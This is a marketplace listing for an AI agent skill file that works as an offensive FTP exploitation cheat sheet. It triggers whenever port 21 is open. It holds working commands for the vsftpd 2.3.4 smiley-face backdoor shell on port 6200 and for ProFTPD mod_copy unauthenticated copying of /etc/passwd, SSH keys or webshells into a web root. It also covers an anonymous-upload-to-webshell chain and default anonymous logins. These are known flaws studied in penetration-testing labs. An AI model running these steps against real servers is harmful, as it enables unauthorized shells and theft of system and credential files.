# Svc Ftp

> FTP version exploits — vsftpd backdoor, ProFTPD mod_copy, writable upload→shell chain. Use when FTP is open. Triggers - port 21, vsftpd 2.3.4, ProFTPD mod_copy.

- Skill: `s0ld13rr/svc-ftp` (Agent Skill)
- Install (CLI): `npx skillmds@latest add s0ld13rr/svc-ftp`
- Raw SKILL.md: https://api.skillmd.com/api/skills/s0ld13rr/svc-ftp/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: s0ld13rr (https://skillmd.com/u/s0ld13rr)
- Updated: 2026-09-22
- Page: https://skillmd.com/skills/s0ld13rr/svc-ftp

---


# FTP — Version Exploits & Chains

## vsftpd 2.3.4 — backdoor
Send `:)` in username → backdoor shell opens on port 6200.
`echo -e "USER evil:)\nPASS anything" | nc TARGET 21` then `nc TARGET 6200`

## ProFTPD mod_copy — unauthenticated file copy
ProFTPD <1.3.5b. No login needed:
```
nc TARGET 21
SITE CPFR /etc/passwd
SITE CPTO /var/www/html/leak.txt
```
Then `curl http://TARGET/leak.txt`. Can also copy SSH keys, webshells into web roots.

## Writable FTP + web server = shell
If anonymous upload works AND a web server serves the same directory:
upload shell via FTP → trigger via HTTP.

## Anonymous login variants
Try: `anonymous`/`anonymous@`, `anonymous`/(empty), `ftp`/`ftp`.
Always `ls -la` and try `cd ..` — parent directories sometimes accessible.